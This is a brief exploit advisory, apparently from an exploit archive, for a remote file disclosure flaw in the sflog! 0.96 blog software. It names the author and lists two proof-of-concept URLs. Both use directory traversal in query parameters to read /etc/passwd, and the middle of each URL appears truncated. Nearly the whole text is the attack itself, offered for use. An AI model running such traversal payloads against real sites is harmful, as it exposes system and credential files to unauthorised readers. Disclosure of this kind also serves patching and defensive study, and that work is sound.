sflog! 0.96 remote file disclosure vulnerabilities

download http://sourceforge.net/projects/sflog/

author muuratsalo
contact muuratsalo[at]gmail.com

exploits
http://localhost/sflog/?blog=test&pe.../../etc/passwd
http://localhost/sflog/index.php?blo.../../etc/passwd